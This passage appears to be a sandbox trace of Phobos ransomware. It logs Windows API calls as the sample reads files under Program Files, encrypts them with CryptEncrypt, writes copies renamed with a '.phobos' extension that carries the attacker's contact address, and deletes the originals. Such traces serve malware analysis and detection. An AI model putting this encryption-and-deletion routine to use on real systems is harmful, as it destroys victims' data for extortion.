nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x99, lpOverlapped=0x0) returned 1 [0051.006] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa0, dwBufLen=0xa0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa0) returned 1 [0051.006] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa0, lpOverlapped=0x0) returned 1 [0051.007] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccf0) returned 1 [0051.007] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.007] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60, dwBufLen=0x60 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60) returned 1 [0051.007] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0051.007] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x112, lpOverlapped=0x0) returned 1 [0051.008] CryptDestroyKey (hKey=0x10cf70) returned 1 [0051.008] CloseHandle (hObject=0x318) returned 1 [0051.008] CloseHandle (hObject=0x31c) returned 1 [0051.008] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0051.010] SetEvent (hEvent=0x2e8) returned 1 [0051.010] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.012] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=147) returned 1 [0051.012] CloseHandle (hObject=0x31c) returned 1 [0051.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0051.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.013] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.013] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.017] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0051.017] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.017] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x93, lpOverlapped=0x0) returned 1 [0051.025] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa0, dwBufLen=0xa0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xa0) returned 1 [0051.025] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xa0, lpOverlapped=0x0) returned 1 [0051.026] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0051.026] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.026] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0051.026] CryptDestroyKey (hKey=0x10cc70) returned 1 [0051.026] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0051.026] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0051.026] CloseHandle (hObject=0x318) returned 1 [0051.026] CloseHandle (hObject=0x2e4) returned 1 [0051.027] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0051.028] SetEvent (hEvent=0x2e8) returned 1 [0051.028] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.029] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=4226) returned 1 [0051.029] CloseHandle (hObject=0x2e4) returned 1 [0051.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0051.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.029] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.029] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.029] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cab0) returned 1 [0051.029] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.030] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1082, lpOverlapped=0x0) returned 1 [0051.057] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1090, dwBufLen=0x1090 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x1090) returned 1 [0051.057] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x1090, lpOverlapped=0x0) returned 1 [0051.058] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc70) returned 1 [0051.058] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.058] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0051.058] CryptDestroyKey (hKey=0x10cc70) returned 1 [0051.058] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0051.058] CryptDestroyKey (hKey=0x10cab0) returned 1 [0051.058] CloseHandle (hObject=0x2e4) returned 1 [0051.058] CloseHandle (hObject=0x318) returned 1 [0051.059] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0051.060] SetEvent (hEvent=0x2e8) returned 1 [0051.060] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.062] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=63933) returned 1 [0051.062] CloseHandle (hObject=0x318) returned 1 [0051.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0051.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.062] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.062] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.063] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cab0) returned 1 [0051.063] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.063] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xf9bd, lpOverlapped=0x0) returned 1 [0051.069] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xf9c0, dwBufLen=0xf9c0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xf9c0) returned 1 [0051.069] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf9c0, lpOverlapped=0x0) returned 1 [0051.071] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0b0) returned 1 [0051.071] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.071] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x70, dwBufLen=0x70 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x70) returned 1 [0051.071] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0051.071] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x122, lpOverlapped=0x0) returned 1 [0051.071] CryptDestroyKey (hKey=0x10cab0) returned 1 [0051.071] CloseHandle (hObject=0x318) returned 1 [0051.071] CloseHandle (hObject=0x2e4) returned 1 [0051.073] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0051.075] SetEvent (hEvent=0x2e8) returned 1 [0051.075] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.075] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=145180) returned 1 [0051.075] CloseHandle (hObject=0x2e4) returned 1 [0051.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20 [0051.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.075] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.075] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.076] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0051.076] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.076] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x2371c, lpOverlapped=0x0) returned 1 [0051.120] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x23720, dwBufLen=0x23720 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x23720) returned 1 [0051.120] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x23720, lpOverlapped=0x0) returned 1 [0051.123] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d030) returned 1 [0051.123] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.123] CryptEncrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60, dwBufLen=0x60 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x60) returned 1 [0051.123] CryptDestroyKey (hKey=0x10d030) returned 1 [0051.123] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x112, lpOverlapped=0x0) returned 1 [0051.123] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0051.124] CloseHandle (hObject=0x2e4) returned 1 [0051.124] CloseHandle (hObject=0x318) returned 1 [0051.127] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0051.129] SetEvent (hEvent=0x2e8) returned 1 [0051.129] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.130] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=281) returned 1 [0051.130] CloseHandle (hObject=0x318) returned 1 [0051.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0051.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0051.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0051.130] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.130] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0051.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.130] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0051.130] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.131] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x119, lpOverlapped=0x0) returned 1 [0051.131] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x120, dwBufLen=0x120 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x120) returned 1 [0051.131] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x120, lpOverlapped=0x0) returned 1 [0051.132] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0051.132] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.132] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0051.132] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0051.132] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0051.133] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0051.133] CloseHandle (hObject=0x318) returned 1 [0051.134] CloseHandle (hObject=0x2e4) returned 1 [0051.134] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0051.136] SetEvent (hEvent=0x2e8) returned 1 [0051.136] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0051.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0051.137] GetFileSizeEx (in: hFile=0x2e4, 